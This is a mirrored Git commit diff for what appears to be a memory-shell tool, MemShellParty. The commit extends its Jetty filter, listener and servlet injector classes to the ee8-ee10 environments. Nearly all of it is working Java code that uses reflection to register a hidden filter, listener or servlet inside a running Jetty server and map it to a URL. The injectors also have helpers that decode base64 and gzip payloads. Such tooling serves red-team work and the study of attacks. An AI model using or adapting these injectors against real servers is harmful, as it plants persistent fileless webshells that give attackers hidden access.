mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
feat: support jetty ee8 ~ ee10 env
This commit is contained in:
+20
-25
@@ -50,17 +50,32 @@ public class JettyFilterInjector {
|
|||||||
if (servletHandler == null) {
|
if (servletHandler == null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (isInjected(servletHandler)) {
|
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("filter is already injected");
|
System.out.println("filter is already injected");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
String[] classNames = new String[]{
|
||||||
|
"org.eclipse.jetty.servlet.FilterHolder",
|
||||||
|
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||||
|
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||||
|
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||||
|
"org.mortbay.jetty.servlet.FilterHolder",
|
||||||
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
try {
|
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
|
for (String className : classNames) {
|
||||||
} catch (ClassNotFoundException e) {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
|
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (filterHolderClass == null) {
|
||||||
|
throw new ClassNotFoundException("FilterHodler");
|
||||||
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -154,26 +169,6 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean isInjected(Object servletHandler) throws Exception {
|
|
||||||
Object filterMappings = getFieldValue(servletHandler, "_filterMappings");
|
|
||||||
if (filterMappings == null) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
Object[] filterMaps = new Object[0];
|
|
||||||
if (filterMappings instanceof List) {
|
|
||||||
filterMaps = ((List<?>) filterMappings).toArray();
|
|
||||||
} else if (filterMappings instanceof Object[]) {
|
|
||||||
filterMaps = (Object[]) filterMappings;
|
|
||||||
}
|
|
||||||
for (Object filterMap : filterMaps) {
|
|
||||||
Object filterName = getFieldValue(filterMap, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
|||||||
+2
@@ -93,9 +93,11 @@ public class JettyListenerInjector {
|
|||||||
|
|
||||||
public static void inject(Object context, Object listener) throws Exception {
|
public static void inject(Object context, Object listener) throws Exception {
|
||||||
if (isInjected(context, listener.getClass().getName())) {
|
if (isInjected(context, listener.getClass().getName())) {
|
||||||
|
System.out.println("listener is already injected");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||||
|
System.out.println("listener added successfully");
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
|
|||||||
+21
-28
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -99,50 +98,44 @@ public class JettyServletInjector {
|
|||||||
public void inject(Object context, Object servlet) throws Exception {
|
public void inject(Object context, Object servlet) throws Exception {
|
||||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||||
|
|
||||||
// 1. 判断是否已经注入
|
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
if (isInjected(servletHandler)) {
|
|
||||||
System.out.println("servlet is already injected");
|
System.out.println("servlet is already injected");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|
||||||
|
String[] classNames = new String[]{
|
||||||
|
"org.eclipse.jetty.servlet.ServletHolder",
|
||||||
|
"org.eclipse.jetty.ee8.servlet.ServletHolder",
|
||||||
|
"org.eclipse.jetty.ee9.servlet.ServletHolder",
|
||||||
|
"org.eclipse.jetty.ee10.servlet.ServletHolder",
|
||||||
|
"org.mortbay.jetty.servlet.ServletHolder",
|
||||||
|
};
|
||||||
|
|
||||||
Class<?> servletHolderClass = null;
|
Class<?> servletHolderClass = null;
|
||||||
try {
|
|
||||||
servletHolderClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletHolder");
|
for (String className : classNames) {
|
||||||
} catch (ClassNotFoundException e) {
|
try {
|
||||||
servletHolderClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletHolder");
|
servletHolderClass = context.getClass().getClassLoader().loadClass(className);
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (servletHolderClass == null) {
|
||||||
|
throw new ClassNotFoundException("ServletHodler");
|
||||||
|
}
|
||||||
|
|
||||||
Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
|
Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
|
||||||
servletHolderConstructor.setAccessible(true);
|
servletHolderConstructor.setAccessible(true);
|
||||||
Object servletHolder = servletHolderConstructor.newInstance();
|
Object servletHolder = servletHolderConstructor.newInstance();
|
||||||
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet});
|
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet});
|
||||||
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
|
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
|
||||||
Class<?> servletMappingClass = null;
|
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
|
||||||
try {
|
|
||||||
servletMappingClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
servletMappingClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletMapping");
|
|
||||||
}
|
|
||||||
Constructor<?> servletMappingConstructor = servletMappingClass.getDeclaredConstructor();
|
|
||||||
servletMappingConstructor.setAccessible(true);
|
|
||||||
Object servletMapping = servletMappingConstructor.newInstance();
|
|
||||||
invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
invokeMethod(servletMapping, "setPathSpecs", new Class[]{String[].class}, new Object[]{new String[]{getUrlPattern()}});
|
|
||||||
invokeMethod(servletHandler, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
|
|
||||||
System.out.println("servlet inject successful");
|
System.out.println("servlet inject successful");
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
|
||||||
public boolean isInjected(Object servletHandler) throws Exception {
|
|
||||||
Map<String, Object> servletNameMap = (Map<String, Object>) getFieldValue(servletHandler, "_servletNameMap");
|
|
||||||
if (servletNameMap == null) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
return servletNameMap.containsKey(getClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
|||||||
Reference in New Issue
Block a user